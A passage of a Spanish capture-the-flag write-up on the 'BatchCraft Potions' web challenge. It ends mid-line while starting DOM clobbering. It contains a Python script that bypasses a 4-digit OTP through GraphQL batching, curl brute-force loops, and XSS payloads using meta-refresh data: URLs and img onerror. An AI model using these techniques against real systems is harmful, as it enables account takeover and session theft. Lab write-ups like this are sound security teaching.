BatchCraft Potions
22 minutos de lectura
Tenemos este sitio web:
Análisis de código estático
Se nos proporciona el código fuente de JavaScript de la aplicación web, creada con Node.js y Express JS. Esto es index.js
:
const express = require('express');
const app = express();
const path = require('path');
const cookieParser = require('cookie-parser');
const nunjucks = require('nunjucks');
const routes = require('./routes');
const Database = require('./database');
global.db = new Database();
app.use(express.json());
app.use(cookieParser());
nunjucks.configure('views', {
autoescape: true,
express: app
});
app.set('views', './views');
app.use('/static', express.static(path.resolve('static')));
app.set('etag', false);
app.use(routes());
app.all('*', (req, res) => {
return res.status(404).send({
message: '404 page not found'
});
});
(async () => {
await global.db.connect();
await global.db.migrate();
app.listen(1337, '0.0.0.0', () => console.log('Listening on port 1337'));
})();
Este es un script normal. Referencia a routes/index.js
y database.js
.
Implementación de la base de datos
Este es un archivo grande, pero lo dejo aquí en caso de que desee analizarlo en profundidad:
const mysql = require('mysql')
const crypto = require('crypto');
const OTPHelper = require('./helpers/OTPHelper');
class Database {
constructor() {
this.connection = mysql.createConnection({
host: '127.0.0.1',
user: 'batchcraftpotions',
password: 'batchcraftpotions',
database: 'batchcraftpotions'
});
}
async connect() {
return new Promise((resolve, reject)=> {
this.connection.connect((err)=> {
if(err)
reject(err)
resolve()
});
})
}
async migrate() {
let otpkey = OTPHelper.genSecret();
let stmt = `INSERT IGNORE INTO users(username, password, otpkey, is_admin) VALUES(?, ?, ?, ?)`;
this.connection.query(
stmt,
[
'vendor53',
'PotionsFTW!',
otpkey,
0
],
(err, _) => {
if(err)
console.error(err);
}
)
}
async loginUser(username, password) {
return new Promise(async (resolve, reject) => {
let stmt = `SELECT username, otpkey FROM users WHERE username = ? and password = ?`;
this.connection.query(
stmt,
[
String(username),
String(password)
],
(err, result) => {
if(err)
reject(err)
try {
resolve(JSON.parse(JSON.stringify(result)))
}
catch (e) {
reject(e)
}
}
)
});
}
async getUser(username) {
return new Promise(async (resolve, reject) => {
let stmt = `SELECT * FROM users WHERE username = ?`;
this.connection.query(
stmt,
[
String(username)
],
(err, result) => {
if(err)
reject(err)
try {
resolve(JSON.parse(JSON.stringify(result)))
}
catch (e) {
reject(e)
}
}
)
});
}
async getOTPKey(username) {
return new Promise(async (resolve, reject) => {
let stmt = `SELECT otpkey FROM users WHERE username = ?`;
this.connection.query(
stmt,
[
String(username)
],
(err, result) => {
if(err)
reject(err)
try {
let rows = JSON.parse(JSON.stringify(result))
resolve(rows.length ? rows[0] : {})
}
catch (e) {
reject(e)
}
}
)
});
}
async getPotions() {
return new Promise(async (resolve, reject) => {
let stmt = `SELECT * FROM products where product_approved = 1`;
this.connection.query(
stmt, [],
(err, result) => {
if(err)
reject(err)
try {
resolve(JSON.parse(JSON.stringify(result)))
}
catch (e) {
reject(e)
}
}
)
});
}
async getPotionsByUser(username) {
return new Promise(async (resolve, reject) => {
let stmt = `SELECT * FROM products WHERE product_seller = ?`;
this.connection.query(
stmt,
[
String(username)
],
(err, result) => {
if(err)
reject(err)
try {
resolve(JSON.parse(JSON.stringify(result)))
}
catch (e) {
reject(e)
}
}
)
});
}
async getPotionByID(id) {
return new Promise(async (resolve, reject) => {
let stmt = `SELECT * FROM products WHERE id = ?`;
this.connection.query(
stmt,
[
String(id)
],
(err, result) => {
if(err)
reject(err)
try {
let rows = JSON.parse(JSON.stringify(result))
resolve(rows.length ? rows[0] : {})
}
catch (e) {
reject(e)
}
}
)
});
}
async getAddedPotionID(username) {
return new Promise(async (resolve, reject) => {
let stmt = `SELECT id FROM products WHERE product_seller = ? ORDER BY id DESC LIMIT 1`;
this.connection.query(
stmt,
[
String(username)
],
(err, result) => {
if(err)
reject(err)
try {
let rows = JSON.parse(JSON.stringify(result))
resolve(rows.length ? rows[0] : {})
}
catch (e) {
reject(e)
}
}
)
});
}
async addPotion(data) {
return new Promise(async (resolve, reject) => {
let stmt = `
INSERT INTO products(
product_name,
product_desc,
product_price,
product_category,
product_keywords,
product_og_title,
product_og_desc,
product_seller,
product_approved
)
VALUES (?,?,?,?,?,?,?,?,?)`;
this.connection.query(
stmt,
[
data.product_name,
data.product_desc,
data.product_price,
data.product_category,
data.product_keywords,
data.product_og_title,
data.product_og_desc,
data.product_seller,
data.product_approved
],
(err, _) => {
if(err)
return reject(err)
resolve()
}
)
});
}
}
module.exports = Database;
Todo parece correcto ya que las consultas están utilizando sentencias preparadas (prepared statements), por lo que la inyección SQL no es posible.
Por suerte, tenemos credenciales válidas: vendor53:PotionsFTW!
.
Por desgracia, hay 2FA habilitado…
Implementación de OTP
El 2FA utiliza una implementación de OTP en helpers/OTPHelper.js
:
const { authenticator } = require('@otplib/preset-default');
const qrcode = require('qrcode');
authenticator.options = { digits: 4 };
const genSecret = () => {
return authenticator.generateSecret();
}
const genPin = (secret) => {
return authenticator.generate(secret);
}
const genQRcode = async (username, secret) => {
return new Promise(async (resolve, reject) => {
const otpauth = authenticator.keyuri(username, 'Genesis', secret);
qrcode.toDataURL(otpauth, (err, imageUrl) => {
if (err) reject(err);
resolve(imageUrl);
});
});
}
const verifyOTP = async (otpkey, otp) => {
return new Promise(async (resolve, reject) => {
try {
isValid = authenticator.check(otp, otpkey);
if (isValid) return resolve(true);
return resolve(false);
}
catch (err) {
resolve(false);
}
});
}
module.exports = {
genQRcode,
genSecret,
verifyOTP,
genPin
}
Utiliza @otplib/preset-default
con una versión actualizada. Nada parece ser vulnerable aquí. Aunque hay una manera de generar un código QR, esta funcionalidad nunca se usa.
Los códigos OTP tienen 4 dígitos, lo que lo hace propenso a un ataque de fuerza bruta. Podemos copiar la petición del navegador como un comando curl
y realizar el ataque de fuerza bruta con un bucle:
$ curl 178.62.84.158:32007/graphql -d '{"query":"mutation($otp: String!) { verify2FA(otp: $otp) { message, token } }","variables":{"otp":"1234"}}' -H 'Content-Type: application/json' -H 'Cookie: session=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VybmFtZSI6InZlbmRvcjUzIiwidmVyaWZpZWQiOmZhbHNlLCJpYXQiOjE2NzAzMTkzNDN9.zac2-EkzJ8Ly4newAgepKVqPk2P0u22YZAkR3y0sPqk'
{"errors":[{"message":"Error: Invalid OTP supplied!","locations":[{"line":1,"column":27}],"path":["verify2FA"]}],"data":{"verify2FA":null}}
$ for c in {0000..9999}; do echo $c; done | head
0000
0001
0002
0003
0004
0005
0006
0007
0008
0009
$ for c in {0000..9999}; do curl 178.62.84.158:32007/graphql -d '{"query":"mutation($otp: String!) { verify2FA(otp: $otp) { message, token } }","variables":{"otp":"'$c'"}}' -H 'Content-Type: application/json' -H 'Cookie: session=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VybmFtZSI6InZlbmRvcjUzIiwidmVyaWZpZWQiOmZhbHNlLCJpYXQiOjE2NzAzMTkzNDN9.zac2-EkzJ8Ly4newAgepKVqPk2P0u22YZAkR3y0sPqk'; echo; done
{"errors":[{"message":"Error: Invalid OTP supplied!","locations":[{"line":1,"column":27}],"path":["verify2FA"]}],"data":{"verify2FA":null}}
{"errors":[{"message":"Error: Invalid OTP supplied!","locations":[{"line":1,"column":27}],"path":["verify2FA"]}],"data":{"verify2FA":null}}
{"errors":[{"message":"Error: Invalid OTP supplied!","locations":[{"line":1,"column":27}],"path":["verify2FA"]}],"data":{"verify2FA":null}}
{"errors":[{"message":"Error: Invalid OTP supplied!","locations":[{"line":1,"column":27}],"path":["verify2FA"]}],"data":{"verify2FA":null}}
{"errors":[{"message":"Error: Invalid OTP supplied!","locations":[{"line":1,"column":27}],"path":["verify2FA"]}],"data":{"verify2FA":null}}
{"errors":[{"message":"Error: Invalid OTP supplied!","locations":[{"line":1,"column":27}],"path":["verify2FA"]}],"data":{"verify2FA":null}}
<html>
<head><title>429 Too Many Requests</title></head>
<body>
<center><h1>429 Too Many Requests</h1></center>
<hr><center>nginx</center>
</body>
</html>
<html>
<head><title>429 Too Many Requests</title></head>
<body>
<center><h1>429 Too Many Requests</h1></center>
<hr><center>nginx</center>
</body>
</html>
<html>
<head><title>429 Too Many Requests</title></head>
<body>
<center><h1>429 Too Many Requests</h1></center>
<hr><center>nginx</center>
</body>
</html>
Bueno, al menos lo hemos intentado. Hay un límite de velocidad establecido en la configuración de nginx:
pid /run/nginx.pid;
error_log /dev/stderr info;
events {
worker_connections 1024;
}
http {
server_tokens off;
log_format docker '$remote_addr $remote_user $status "$request" "$http_referer" "$http_user_agent" ';
access_log /dev/stdout docker;
charset utf-8;
keepalive_timeout 20s;
sendfile on;
tcp_nopush on;
client_max_body_size 1M;
include /etc/nginx/mime.types;
limit_req_zone global zone=global_rate_limit:5m rate=20r/m;
limit_req_status 429;
server {
listen 80;
server_name batchcraft-potions.htb;
location /graphql {
limit_req zone=global_rate_limit burst=5 nodelay;
proxy_set_header X-Forwarded-For $remote_addr;
proxy_set_header Host: $http_host;
proxy_pass http://127.0.0.1:1337;
}
location / {
proxy_set_header X-Forwarded-For $remote_addr;
proxy_set_header Host $http_host;
proxy_pass http://127.0.0.1:1337;
}
}
}
Y no podemos saltarnos el límite de velocidad usando cabeceras como X-Forwarded-for
ya que nginx copia nuestra dirección IP real a X-Forwarded-For
. De todos modos, deberíamos probar todas las cabeceras que aparecen en HackTricks, pero ninguna funciona. Entonces, debemos encontrar otra forma de saltarnos el 2FA.
La implementación del OTP se ve correcta y la semilla es generada por la librería de terceros, que está actualizada, por lo que no hay vulnerabilidades.
Una cosa interesante es que la petición del OTP se maneja con GraphQL.
Rutas disponibles
Esto es routes/index.js
:
const bot = require('../bot');
const express = require('express');
const router = express.Router();
const { graphqlHTTP } = require('express-graphql');
const { execSync } = require('child_process');
const { existsSync } = require('fs');
const AuthMiddleware = require('../middleware/AuthMiddleware');
const GraphqlSchema = require('../helpers/GraphqlHelper');
const Joi = require('joi');
const FilterHelper = require('../helpers/FilterHelper');
let adminReviewing = false;
const response = data => ({ message: data });
router.use('/graphql', AuthMiddleware, graphqlHTTP((req, res) => {
return {
schema: GraphqlSchema,
graphiql: false,
context: {req, res}
}
}));
router.get('/', async (req, res) => {
products = await db.getPotions();
return res.render('index.html', {products});
});
router.get('/products/:id', async (req, res) => {
const { id } = req.params;
product = await db.getPotionByID(id);
if ( !product.id || product.product_approved == 0) return res.redirect('/');
let meta = FilterHelper.generateMeta(
product.product_og_title,
product.product_og_desc,
product.product_keywords
);
return res.render('product.html', {meta, product});
});
router.get('/login', (req, res) => {
return res.render('login.html');
});
router.get('/2fa', AuthMiddleware, async (req, res, next) => {
return res.render('2fa.html', {user: req.user});
});
router.get('/dashboard', AuthMiddleware, async (req, res, next) => {
products = await db.getPotionsByUser(req.user.username);
return res.render('dashboard.html', {user: req.user, products});
});
router.post('/api/products/add', AuthMiddleware, async (req, res) => {
if (adminReviewing) return res.status(500).send('Rate limited!');
const schema = Joi.object({
product_name: Joi.string().required(),
product_desc: Joi.string().required(),
product_price: Joi.number().required(),
product_category: Joi.number().min(1).max(100).required(),
product_keywords: Joi.string().required(),
product_og_title: Joi.string().required(),
product_og_desc: Joi.string().required()
});
const { error, value } = schema.validate(req.body);
if (error) {
return res.status(500).send(response(error.message));
}
value.product_desc = FilterHelper.filterHTML(value.product_desc);
value.product_seller = req.user.username;
value.product_approved = 0;
try {
await db.addPotion(value);
}
catch (e) {
console.log(e)
return res.status(500).send(response('Something went wrong!'));
}
let potion = await db.getAddedPotionID(req.user.username);
try {
adminReviewing = true;
await bot.previewProduct(potion.id);
adminReviewing = false;
return res.send(response('Potion added and being reviewed by admin!'));
}
catch(e) {
console.log(e);
adminReviewing = false;
return res.status(500).send(response('Something went wrong'));
}
});
router.get('/products/preview/:id', async (req, res) => {
const { id } = req.params;
product = await db.getPotionByID(id);
if ( !product.id ) return res.redirect('/');
let meta = FilterHelper.generateMeta(
product.product_og_title,
product.product_og_desc,
product.product_keywords
);
return res.render('product.html', {meta, product});
});
router.get('/logout', (req, res) => {
res.clearCookie('session');
return res.redirect('/');
});
module.exports = () => {
return router;
};
Hay muchas rutas, pero la mayoría de ellas están protegidas con AuthMiddleware
:
const JWTHelper = require('../helpers/JWTHelper');
module.exports = async (req, res, next) => {
try {
if (req.cookies.session === undefined) {
if (req.originalUrl === '/graphql') return next();
if (!req.is('application/json')) return res.redirect('/');
return res.status(401).json({ status: 'unauthorized', message: 'Authentication required!' });
}
return JWTHelper.verify(req.cookies.session)
.then(user => {
req.user = user;
if (req.originalUrl === '/graphql' || req.originalUrl === '/2fa') return next();
if (user.verified === false) return res.redirect('/login');
return next();
})
.catch((e) => {
if (req.originalUrl === '/graphql') return next();
res.redirect('/logout');
});
} catch(e) {
console.log(e);
return res.redirect('/logout');
}
}
Básicamente, utiliza JWT para gestionar la autenticación del usuario. Si el token no está verificado, solo se nos permite acceder a /2fa
y /graphql
. Esta vez la implementación es correcta, porque usa JWTHelper.verify
y no decode
como en The Magic Informer.
En JWTHelper.js
todo parece correcto también:
const crypto = require('crypto');
const jwt = require('jsonwebtoken');
const SECRET = crypto.randomBytes(69).toString('hex');
module.exports = {
async sign(data) {
return jwt.sign(data, SECRET, {
algorithm: 'HS256'
});
},
async verify(token) {
return jwt.verify(token, SECRET, {
algorithm: 'HS256'
});
}
};
En este punto, solo podemos acceder a:
- GET
/
- GET
/login
- GET
/2fa
- POST
/graphql
- GET
/products/:id
- GET
/products/preview/:id
La única petición que parece interesante es la de GraphQL.
Atacando GraphQL
Solo traté con GraphQL una vez en OverGraph. De hecho, también había un bypass de OTP, pero tenía que ver con NoSQLi.
Esta vez, tuve que investigar sobre cómo trabajar con GraphQL (enviar consultas, ejecutar mutaciones, etc.) y buscar vulnerabilidades o malas implementaciones. Traté de consultar la clave OTP utilizada para generar los códigos (que se almacena en la base de datos), pero no fue posible debido al esquema definido en GraphQLHelper.js
:
const JWTHelper = require('./JWTHelper');
const OTPHelper = require('./OTPHelper');
const {
GraphQLObjectType,
GraphQLSchema,
GraphQLNonNull,
GraphQLString,
GraphQLError
} = require('graphql');
const ResponseType = new GraphQLObjectType({
name: 'Response',
fields: {
message: { type: GraphQLString },
token: { type: GraphQLString }
}
});
const queryType = new GraphQLObjectType({
name: 'Query',
fields: {
_dummy: { type: GraphQLString }
}
});
const mutationType = new GraphQLObjectType({
name: 'Mutation',
fields: {
LoginUser: {
type: ResponseType,
args: {
username: { type: new GraphQLNonNull(GraphQLString) },
password: { type: new GraphQLNonNull(GraphQLString) }
},
resolve: async (root, args, {req, res}) => {
return new Promise((resolve, reject) => {
db.loginUser(args.username, args.password)
.then(async (user) => {
if (user.length) {
let token = await JWTHelper.sign({
username: user[0].username,
verified: false
});
res.cookie('session', token, { maxAge: 3600000 });
resolve({
message: "User logged in successfully!",
token: token
});
};
reject(new Error("Username or password is invalid!"));
})
.catch(err => reject(new GraphQLError(err)));
});
}
},
verify2FA: {
type: ResponseType,
args: {
otp: { type: new GraphQLNonNull(GraphQLString) }
},
resolve: async (root, args, {req, res}) => {
if (!req.user) return reject(new GraphQLError('Authentication required!'));
return new Promise(async (resolve, reject) => {
secret = await db.getOTPKey(req.user.username);
if (await OTPHelper.verifyOTP(secret.otpkey, args.otp)) {
let token = await JWTHelper.sign({
username: req.user.username,
verified: true
});
res.cookie('session', token, { maxAge: 3600000 });
resolve({
message: "2FA verified successfully!",
token: token
});
}
else {
reject(new GraphQLError(new Error('Invalid OTP supplied!')));
}
});
}
}
}
});
module.exports = new GraphQLSchema({
query: queryType,
mutation: mutationType
});
Solo hay dos tipos definidos (Query
y Response
). En Query
solo tenemos _dummy
, que es inútil; y el tipo Response
se utiliza para enviar el resultado de las mutaciones.
Hay dos mutaciones: LoginUser
y verify2FA
. Ambas implementaciones se ven correctas.
Al mirar en PayloadsAllTheThings, vi en la parte inferior de la página una lista de ataques de GraphQL batching, que es una forma de ejecutar múltiples mutaciones dentro de la misma petición HTTP. De hecho, el repositorio dice:
Common scenario:
- Password Brute-force Amplification Scenario
- 2FA bypassing
Esta es exactamente nuestra situación. Aquí hay otros blogs que explican este ataque: lab.wallarm.com, escape.tech.
Veamos una prueba de concepto de este ataque de GraphQL batching en Burp Suite (probaré localmente con el contenedor Docker disponible en el reto). Esta es una consulta normal:
Y en esta se utiliza un ataque de GraphQL batching (dos códigos OTP en la misma petición):
Esto es genial, estamos recibiendo el resultado para dos códigos OTP dentro de la misma respuesta. Por lo tanto, podemos consultar 1000 códigos OTP diferentes y recibir el resultado de cada uno de ellos. Si ninguno de ellos es correcto, podemos enviar los siguientes 1000 hasta que encontremos el código OTP esperado (que vendrá con el token JWT verificado).
Nótese que no podemos enviar todas las combinaciones (10000) en una sola petición porque el servidor web dará un error por la gran cantidad de datos enviados.
Desarrollo del exploit
Usemos Python con requests
para realizar el ataque y obtener el token JWT verificado. Esta es la sección relevante:
def main():
host = sys.argv[1]
token = ''
s = requests.session()
r = s.post(f'http://{host}/graphql',
json={
'query': 'mutation($username: String!, $password: String!) { LoginUser(username: $username, password: $password) { message, token } }',
'variables': {
'username': 'vendor53',
'password': 'PotionsFTW!'
}
}
)
while not token:
for i in range(10):
variables = {}
query = 'mutation('
for test_otp in range(i * 1000, (i + 1) * 1000):
query += f'$o{test_otp:04d}:String!,'
variables[f'o{test_otp:04d}'] = f'{test_otp:04d}'
query = query[:-1] + '){'
for test_otp in range(i * 1000, (i + 1) * 1000):
query += f'o{test_otp:04d}:verify2FA(otp:$o{test_otp:04d}){{message,token}},'
query += '}'
r = s.post(f'http://{host}/graphql', json={"query": query, "variables": variables})
if 'eyJ' in r.text:
token = re.findall(r'"token":"(.*?)"', r.text)[0]
break
time.sleep(2)
print(token)
Obsérvese que eliminé los espacios en blanco innecesarios y acorté los nombres de variables para ahorrar espacio. En unos segundos, obtendremos un token verificado:
$ python3 solve.py 127.0.0.1:1337
eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VybmFtZSI6InZlbmRvcjUzIiwidmVyaWZpZWQiOnRydWUsImlhdCI6MTY3MDM0MTcxNH0.8rAyX5qbFYtOU4Fms6pvm7LBIlkkP3rlzUcvZq1G-nM
$ echo eyJ1c2VybmFtZSI6InZlbmRvcjUzIiwidmVyaWZpZWQiOnRydWUsImlhdCI6MTY3MDM0MTcxNH0 | base64 -d
{"username":"vendor53","verified":true,"iat":167
Si actualizamos nuestra cookie de sesión, veremos /dashboard
:
En este punto, podemos acceder a estas rutas porque AuthMiddleware
ya no bloqueará nuestras peticiones:
- GET
/dashboard
- POST
/api/products/add
Más análisis de código fuente
Esta es la función que controla el endpoint /api/products/add
:
router.post('/api/products/add', AuthMiddleware, async (req, res) => {
if (adminReviewing) return res.status(500).send('Rate limited!');
const schema = Joi.object({
product_name: Joi.string().required(),
product_desc: Joi.string().required(),
product_price: Joi.number().required(),
product_category: Joi.number().min(1).max(100).required(),
product_keywords: Joi.string().required(),
product_og_title: Joi.string().required(),
product_og_desc: Joi.string().required()
});
const { error, value } = schema.validate(req.body);
if (error) {
return res.status(500).send(response(error.message));
}
value.product_desc = FilterHelper.filterHTML(value.product_desc);
value.product_seller = req.user.username;
value.product_approved = 0;
try {
await db.addPotion(value);
}
catch (e) {
console.log(e)
return res.status(500).send(response('Something went wrong!'));
}
let potion = await db.getAddedPotionID(req.user.username);
try {
adminReviewing = true;
await bot.previewProduct(potion.id);
adminReviewing = false;
return res.send(response('Potion added and being reviewed by admin!'));
}
catch(e) {
console.log(e);
adminReviewing = false;
return res.status(500).send(response('Something went wrong'));
}
});
Ocasionando un XSS
Aquí necesitamos ingresar muchos atributos del producto y Joi
los verificará, que es otra librería actualizada. Luego, el script usa FilterHelper.filterHtml
para sanitizar value.product_desc
. De hecho, podemos echar un vistazo a las plantillas, esta es views/product.html
:
<!DOCTYPE html>
<html lang="en" class="rpgui-cursor-default">
<head>
<meta charset="utf-8">
<meta name="viewport" content="width=device-width, initial-scale=1, shrink-to-fit=no">
<title>BatchCraft Potions Shop</title>
<meta name="author" content="rayhan0x01">
<link rel="stylesheet" href="/static/vendors/base/vendor.bundle.base.css">
<link rel="stylesheet" href="/static/css/bootstrap.min.css">
<link rel="stylesheet" href="/static/vendors/rpgui/rpgui.min.css">
<link rel="stylesheet" href="/static/css/carousel.css">
<link rel="stylesheet" href="/static/css/site.css">
<link rel="stylesheet" href="/static/css/product.css">
<link rel="shortcut icon" href="/static/images/favicon.png" />
{{ meta | safe }}
</head>
<body class="rpgui-content">
<div class="container reset-pos rpgui-container framed-golden-2 shop-header-container">
<a href="/" id="goback"><img src="/static/images/goback.png"></a>
<p class="shop-header"><span class="mage">🧙♀️</span> BatchCraft Potions Shop <span class="mage">🧙</span></p>
</div>
<div class="container reset-pos rpgui-container framed potions-container">
<div class="row w-100 g-0">
<div class="col-5 text-center">
<div class="potion-item" data-category="{{ product.product_category }}">
</div>
</div>
<div class="col-7">
<div class="reset-pos rpgui-container framed-golden-2 detail-container">
<p class="product-name">{{ product.product_name }}</p>
<div class="product-desc">{{ product.product_desc | safe }}</div>
<div class="row w-100 g-0 action-row">
<div class="col">
<div class="product-price">Price : $ {{ product.product_price }}</div>
<div class="product-quantity row g-0 w-100">
<div class="col mt-2">
Quantity :
</div>
<div class="col quantity-select">
<select class="rpgui-dropdown">
<option value="option1">1</option>
<option value="option2">3</option>
<option value="option2">5</option>
</select>
</div>
</div>
</div>
<div class="col justify-content-center align-items-center">
<div class="product-purchase text-center">
<button class="rpgui-button" type="button"><p class="pt-3">Purchase</p></button>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
<div class="container reset-pos rpgui-container framed-golden-2">
<img src="/static/images/open.png" class="open-banner">
</div>
<div class="container reset-pos rpgui-container framed-golden-2"></div>
<script src="/static/js/jquery.min.js"></script>
<script src="/static/vendors/rpgui/rpgui.min.js"></script>
<script src="/static/js/global.js"></script>
<script src="/static/js/product.js"></script>
</body>
</html>
¿Ves algo raro? Sí, aparece {{ product.product_desc | safe }}
, que le dice al motor de plantillas (nunjucks
) que product.product_desc
en realidad contiene código HTML seguro, por lo que el motor de plantillas no sanitizará el contenido.
Intentos fallidos
Cuando vi por primera vez el código fuente, estaba seguro de que esto podría desencadenar un ataque de Cross-Site Scripting (XSS) en el navegador del bot que revisa nuestros productos. Cuando pasé la parte del OTP y llegué aquí, vi que FilterHelper.filterHTML
estaba bloqueando mi estrategia de ataque:
const createDOMPurify = require('dompurify');
const { JSDOM } = require('jsdom');
const filterHTML = (userHTML) => {
window = new JSDOM('').window;
DOMPurify = createDOMPurify(window);
return DOMPurify.sanitize(userHTML, {
ALLOWED_TAGS: ['strong', 'em', 'b', 'img', 'a', 's', 'ul', 'ol', 'li']
});
}
const filterMeta = (metaHTML) => {
window = new JSDOM('').window;
DOMPurify = createDOMPurify(window);
sanitized = DOMPurify.sanitize(metaHTML, {
ALLOWED_TAGS: ['meta'],
ALLOWED_ATTR: ['name', 'content', 'property', 'http-equiv'],
WHOLE_DOCUMENT: true
});
return new JSDOM(sanitized).window.document.head.innerHTML;
}
const generateMeta = (title, description, keywords) => {
return filterMeta(
`
<meta http-equiv="Content-Security-Policy" content="script-src 'self' 'unsafe-inline'">
<meta property="og:title" content="${title}" />
<meta property="og:description" content="${description}" />
<meta name="keywords" content="${keywords}" />
`);
}
module.exports = {
filterMeta,
filterHTML,
generateMeta
};
Como puedes ver, filterHTML
solo permite algunas etiquetas específicas. Una cosa buena es poder usar etiquetas img
, ya que es suficiente para ocasionar un XSS. Sin embargo, DOMPurify.sanitize
elimina cualquier contenido malicioso en HTML, por lo que no podemos usar el payload clásico de XSS:
<img src="x" onerror="alert(123)">
Además, dompurify
y jsdom
están actualizados, por lo que no hay exploits disponibles para estos.
Pero también hay otras funciones como generateMeta
y filterMeta
. Se nos permite agregar contenido a etiquetas meta
, y también inyectar más etiquetas meta
si es necesario, porque podemos ingresar una comilla doble ("
) y escapar del entorno content="${variable}"
.
La función filterMeta
solamente permite atributos name
, content
, property
y http-equiv
en las etiquetas meta
. Hay una manera de ocasionar un XSS con etiquetas meta
:
<meta http-equiv="refresh" content="0; data:text/html;base64,PHNjcmlwdD4gYWxlcnQoMTIzKSA8L3NjcmlwdD4K">
Este payload refrescará la página web y accederá a la URL data:
, que tiene un documento HTML embebido:
$ echo PHNjcmlwdD4gYWxlcnQoMTIzKSA8L3NjcmlwdD4K | base64 -d
<script> alert(123) </script>
En este punto, estaba seguro de que encontré la forma de obtener XSS en el bot. Por cierto, esto es bot.js
:
const puppeteer = require('puppeteer');
const JWTHelper = require('./helpers/JWTHelper');
const fs = require('fs');
const flag = fs.readFileSync('/flag.txt').toString();
const browser_options = {
headless: true,
executablePath: '/usr/bin/chromium-browser',
args: [
'--no-sandbox',
'--disable-background-networking',
'--disable-default-apps',
'--disable-extensions',
'--disable-gpu',
'--disable-sync',
'--disable-translate',
'--hide-scrollbars',
'--metrics-recording-only',
'--mute-audio',
'--no-first-run',
'--safebrowsing-disable-auto-update',
'--js-flags=--noexpose_wasm,--jitless'
]
};
const previewProduct = async (id) => {
const browser = await puppeteer.launch(browser_options);
try {
let context = await browser.createIncognitoBrowserContext();
let page = await context.newPage();
let token = await JWTHelper.sign({ username: 'admin', verified: true, flag: flag });
await page.setCookie({
name: "session",
value: token,
domain: "127.0.0.1"
});
await Promise.race(
[
page.goto(`http://127.0.0.1/products/preview/${id}`, {
waitUntil: 'networkidle2'
}),
new Promise(function (reject) {
setTimeout(function (){
reject();
}, 7000);
}),
]
);
}
finally {
await browser.close();
}
};
module.exports = { previewProduct };
Cosas importantes aquí es que la flag se almacena en un token JWT, que es la cookie de sesión del bot. Otra cosa (o problema) relevante es que el bot usa Headless Chrome. Digo problema porque el XSS en la etiqueta meta
solo funciona en Safari a día de hoy (más información en stackoverflow.com).
Podemos intentarlo por si acaso, pero Chrome bloqueará las URLs a data:
y javascript:
. Para eso, reutilicé el script de Python para enviar la petición con el token JWT verificado:
s.cookies.set('session', token)
r = s.post(f'http://{host}/api/products/add', json={
'product_name': 'asdf',
'product_desc': '''<img src="x" onerror="alert(123)">''',
'product_price': '123',
'product_category': '1',
'product_keywords': 'asdf',
'product_og_title': 'fdsa',
'product_og_desc': '''0; data:text/html;base64,PHNjcmlwdD4gYWxlcnQoMTIzKSA8L3NjcmlwdD4K" http-equiv="refresh''',
})
print(r.text)
Usando el código anterior, obtendremos un producto provisional en id = 7
. Si abrimos el producto en Chrome (de la misma manera que lo hará el bot), tenemos este mensaje de error:
$ python3 solve.py 127.0.0.1:1337 eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VybmFtZSI6InZlbmRvcjUzIiwidmVyaWZpZWQiOnRydWUsImlhdCI6MTY3MDM0MTcxNH0.8rAyX5qbFYtOU4Fms6pvm7LBIlkkP3rlzUcvZq1G-nM
eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VybmFtZSI6InZlbmRvcjUzIiwidmVyaWZpZWQiOnRydWUsImlhdCI6MTY3MDM0MTcxNH0.8rAyX5qbFYtOU4Fms6pvm7LBIlkkP3rlzUcvZq1G-nM
{"message":"Potion added and being reviewed by admin!"}
Podemos confirmar que el payload en product.product_desc
se sanitiza correctamente:
Al principio, pensé que las URLs de data:
y javascript:
se estaban bloqueando debido al Content Security Policy (script-src 'self' 'unsafe-inline'
). Dado que podemos usar etiquetas meta
, podemos sobrescribir el Content Security Policy (CSP) y establecer una política que se ajuste a nuestras necesidades. Por ejemplo, podemos agregar la URL data:
con script-src 'self' 'unsafe-inline' data:
. Pero luego vi que era Chrome el que bloqueaba las peticiones, no el CSP.
Traté incluso de usar el protocolo gopher://
para comunicarme de alguna manera con MySQL e intentar hacer algo útil. Pero nuevamente, Chrome ya no implementa este protocolo.
Resumiendo:
- Podemos agregar código HTML en
product_desc
, pero se sanitizará conDOMPurify.sanitize
- Podemos usar etiquetas
meta
para redefinir el CSP
DOM Clobbering
No hay una manera fácil de hacer XSS… Hay una técnica bastante inteligente que podemos usar como última baza en retos de XSS. Me refiero a DOM Clobbering (más información en portswigger.net):
DOM clobbering is a technique in which you inject HTML into a page to manipulate the DOM and ultimately change the behavior of JavaScript on the page. DOM clobbering is particularly useful in cases where XSS is not possible, but you can control some HTML on a page where the attributes
id
orname
are whitelisted by the HTML filter. The most common form of DOM clobbering uses an anchor element to overwrite a global variable, which is then used by the application in an unsafe way, such as generating a dynamic script URL.
Otros buenos recursos relacionados con DOM Clobbering son: www.securebinary.in and another post from portswigger.net.
Planeando el ataque
Para realizar la técnica DOM Clobbering, debemos encontrar un código JavaScript que use variables globales (desde el objeto window
) y sobrescribirlas con el código HTML.
En views/product.html
tenemos static/js/global.js
, static/js/product.js
(y luego jQuery y otras librerías externas):
<script src="/static/js/jquery.min.js"></script>
<script src="/static/vendors/rpgui/rpgui.min.js"></script>
<script src="/static/js/global.js"></script>
<script src="/static/js/product.js"></script>
</body>
</html>
static/js/global.js
:
window.potionTypes = [
{
"id": 1,
"name":"Snake Charm",
"src":"/static/images/snakecharm.jpg"
},
{
"id": 2,
"name":"Fairy Dust",
"src":"/static/images/fairydust.jpg"
},
{
"id": 3,
"name":"Gemini Stone",
"src":"/static/images/geministone.jpg"
},
{
"id": 4,
"name":"Fire Born",
"src":"/static/images/fireborn.jpg"
},
{
"id": 5,
"name":"Dragon Breath",
"src":"/static/images/dragonbreath.jpg"
},
{
"id": 6,
"name":"Dark Spell",
"src":"/static/images/darkspell.jpg"
}
]
const showToast = (msg, fixed=false) => {
$('#globalToast').hide();
$('#globalToast').show();
$('#globalToastMsg').text(msg);
if (!fixed) {
setTimeout(() => {
$('#globalToast').hide();
}, 2500);
}
}
static/js/product.js
:
$(document).ready(function(){
loadPotionImage();
})
const loadPotionImage = () => {
let product = $('.potion-item');
for (i = 0; i < potionTypes.length; i++) {
